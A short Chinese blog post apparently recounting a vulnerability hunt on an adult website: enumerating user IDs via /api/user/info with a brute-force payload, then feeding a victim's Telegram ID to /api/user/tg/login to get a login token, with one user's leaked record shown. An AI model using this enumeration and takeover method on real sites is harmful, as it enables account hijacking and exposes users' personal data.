三战这个倒霉瑟瑟网站之漏洞已经被别人截胡了
这个网站的架构和功能已经摸的差不多了,用尽了毕生所学,别的漏洞已经挖不出了,这次的三站漏洞就是二战的漏洞升级版
api还是上次的api,即/api/user/tg/login
在测试时手滑,同一个账户注册了两遍,但是依然返回了该注册账户的全部信息


但是正常的逻辑应该是返回账户已注册,那么容易想到如果找到绑定tguserId的用户,将他的 tguserId传入/api/user/tg/login是否也能返回
那么这个前提如何完成,用到之前发现的/api/user/info,通过遍历userId,可以筛选出绑定tg的账户
例如
{"userId":1971{{int(000-500)}}},这里爆破id为1971000-1971500的账户,找到一个倒霉用户
{"code":200,"data":{"id":1971409,"email":"6*********@tg.com","avatar":"https://t.me/i/userpic/320/im_LchFLY_Hiv7-NjE1UFkW48agGeXyDZYX67H1KZld6kEJBxG5a76K7dX6zq3iL.svg","gender":0,"nickname":"qwer123456","password":"","channelId":0,"inviteCode":"HX4lcp","inviteCount":0,"invitePoints":0,"tgUserId":"6356863192",
将其userid传入/api/user/tg/login,发现返回rptoken,使用该token即可登录该用户的账户
在写这篇文章时得知这个漏洞在待修复列表中,突然没兴趣写了,到此为止。

浙公网安备 33010602011771号